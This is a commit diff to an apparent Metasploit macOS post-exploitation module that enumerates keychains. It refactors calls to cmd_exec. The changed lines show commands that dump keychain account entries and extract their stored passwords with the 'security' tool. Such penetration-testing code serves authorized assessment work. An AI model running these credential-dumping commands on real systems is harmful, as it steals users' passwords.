Skip to content

Commit 4475b7e

Browse files
committed
Update enum_keychain
* Use cmd_exec
1 parent 784be06 commit 4475b7e

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/post/osx/gather/enum_keychain.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -29,16 +29,16 @@ def initialize(info={})
2929
end
3030

3131
def list_keychains
32-
keychains = session.shell_command_token("security list")
33-
user = session.shell_command_token("whoami")
32+
keychains = cmd_exec("security list")
33+
user = cmd_exec("whoami")
3434
print_status("The following keychains for #{user.strip} were found:")
3535
print_line(keychains.chomp)
3636
return keychains =~ /No such file or directory/ ? nil : keychains
3737
end
3838

3939
def enum_accounts(keychains)
40-
user = session.shell_command_token("whoami").chomp
41-
out = session.shell_command_token("security dump | egrep 'acct|desc|srvr|svce'")
40+
user = cmd_exec("whoami").chomp
41+
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
4242

4343
i = 0
4444
accounts = {}
@@ -73,7 +73,7 @@ def get_passwords(accounts)
7373
s = accounts[num]["svce"]
7474
end
7575

76-
cmd = session.shell_command_token("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1")
76+
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1")
7777

7878
cmd.split("\n").each do |line|
7979
if line =~ /password: /
@@ -109,7 +109,7 @@ def run
109109
return
110110
end
111111

112-
user = session.shell_command_token("/usr/bin/whoami").chomp
112+
user = cmd_exec("/usr/bin/whoami").chomp
113113
accounts = enum_accounts(keychains)
114114
save(accounts)
115115

0 commit comments

Comments
 (0)